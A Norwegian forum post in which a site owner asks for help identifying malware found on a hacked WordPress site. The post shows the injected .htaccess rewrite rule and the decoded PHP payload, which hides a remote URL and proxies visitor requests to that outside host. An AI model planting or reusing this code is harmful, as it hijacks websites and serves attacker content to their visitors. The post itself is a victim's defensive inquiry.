En av Wordpress-sitene våre er hacket:
www.stromeksperten.no
Jeg logget inn på serveren og sjekket. De har modifisert .htaccess fila på følgende måte:
Jeg sjekket deretter "wp-conten.php" fila. Her finner jeg en base64 scramblet kode, som jeg lenker til her:
http://www.filedropper.com/showdownload.php/base64
Når jeg dekrypterer denne base64-koden, så får jeg følgende output:
Det ser ut som de har scramblet URL-en til et skript, men hva er dette?
Kan noen hjelpe meg finne ut mer om dette?
PS: Det er ikke businesskritisk, det er bare en gammel Wordpress som er blitt stående på en server, så bare "morsomt" å finne ut litt mer før jeg evt. wiper Wordpressen.
www.stromeksperten.no
Jeg logget inn på serveren og sjekket. De har modifisert .htaccess fila på følgende måte:
# BEGIN SYSTEM API
RewriteEngine on
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^xzeac/(.*)$ wp-admin/maint/wp-conten.php?$1 [L]
# END SYSTEM API
RewriteEngine on
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^xzeac/(.*)$ wp-admin/maint/wp-conten.php?$1 [L]
# END SYSTEM API
Vis hele sitatet...
http://www.filedropper.com/showdownload.php/base64
Når jeg dekrypterer denne base64-koden, så får jeg følgende output:
error_reporting(0); $lru = "gg/66551324912345824801528/291s293r654o358d894-4502674n550i200a383m417/539n523o433t599t860u453b488d347e322r290/806m243o771c122.808p804w934-266t284s462o458h478-117n717i372m468d391a823/568/674:241p107t197t574h606"; $url = ''; if (substr($lru, 0, 2)=='gg') { for($x=strlen($lru);$x>0;$x-=4) $url .= substr($lru,$x,1); } else $url = $lru; $e = '.php'; $q = ""; $test = 'suka-test'; if ((!$q || isset($_GET[$q])) && preg_match("/^[^\/][a-z0-9-_\/\.]+$/i", $a = $q ? $_GET[$q] : $_SERVER["QUERY_STRING"])) { $strlena = strlen($a); $aori = $a; $a = rtrim($a,'/'); if($test && $a == $test) { echo 'OK'; exit; } curl_setopt($ch = curl_init($url.($w=preg_replace("/^([a-z0-9-_\/]+)(\.php|\.html|\/|)$/i", '$1'.$e, $a, -1, $h))), CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); if (isset($_SERVER["HTTP_REFERER"])) curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); $result = curl_exec($ch); if ((($c = curl_getinfo($ch, CURLINFO_HTTP_CODE)) == 301 || $c == 302) && ($u = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL))) { $end = FALSE; $rd = $u; while ($end===FALSE) { curl_setopt($cht = curl_init($rd), CURLOPT_RETURNTRANSFER, 1); curl_setopt($cht, CURLOPT_HEADER, 1); curl_setopt($cht, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($cht, CURLOPT_USERAGENT, 'Opera'); curl_setopt($cht, CURLOPT_REFERER, 'http://www.google.com'); $rrt = curl_exec($cht); $u = curl_getinfo($cht, CURLINFO_EFFECTIVE_URL); if (preg_match('#Location\: ([\S]+)#si',$rrt,$rdr)) { $rd = $rdr[1]; if (!preg_match('#redbutton#',$rd)) { $end = TRUE; break; } } else { $end = TRUE; break; } } header('Location: ' . $rd, true, $c); exit; } else if ($c == 200 && $result) { header('Content-Type: ' . curl_getinfo($ch, CURLINFO_CONTENT_TYPE)); $result = preg_replace('#^.*?\<html#si','<html',$result); $ori = $result; $t = $_SERVER["SCRIPT_NAME"]; $h = strlen($w) - strlen($e) - $strlena; $result = preg_replace('/background(-image\\(.*?url\(["\'])([^\/][a-z0-9-_\.\/]+)(["\']\))/i', 'background$1$2' . $t . '$3$4', $result); $hz = ($h<0) ? substr($a, $h) : ""; if (substr($aori,-1)=='/') { $result = preg_replace('/<(a|link|img)(.*?)(href|src)=["\']((?!http|\/)[a-z0-9-_\.\/\?\=]+)["\'](.*?)>/i', '<$1$2$3="../$4"$5>', $result); } $result = ( ($h) || substr($a, -4) == '.css') ? preg_replace('/<a(.*?)href=["\'](' . preg_quote($t, '/') . '[a-z0-9-_]+)(' . preg_quote($e) . ')["\'](.*?)>/i', '<a$1href="$2' . $hz . '"$4>', $result) : $ori; if (strpos($_SERVER['REQUEST_URI'], 'index.php?')!==FALSE) { $result = preg_replace('/<(link|img)(.*?)(href|src)=["\']((?!http|\/)[a-z0-9-_\.\/\=]+).*?["\'](.*?)>/i', '<$1$2$3="index.php?$4"$5>', $result); } echo $result; exit; } }
Vis hele sitatet...
Kan noen hjelpe meg finne ut mer om dette?
PS: Det er ikke businesskritisk, det er bare en gammel Wordpress som er blitt stående på en server, så bare "morsomt" å finne ut litt mer før jeg evt. wiper Wordpressen.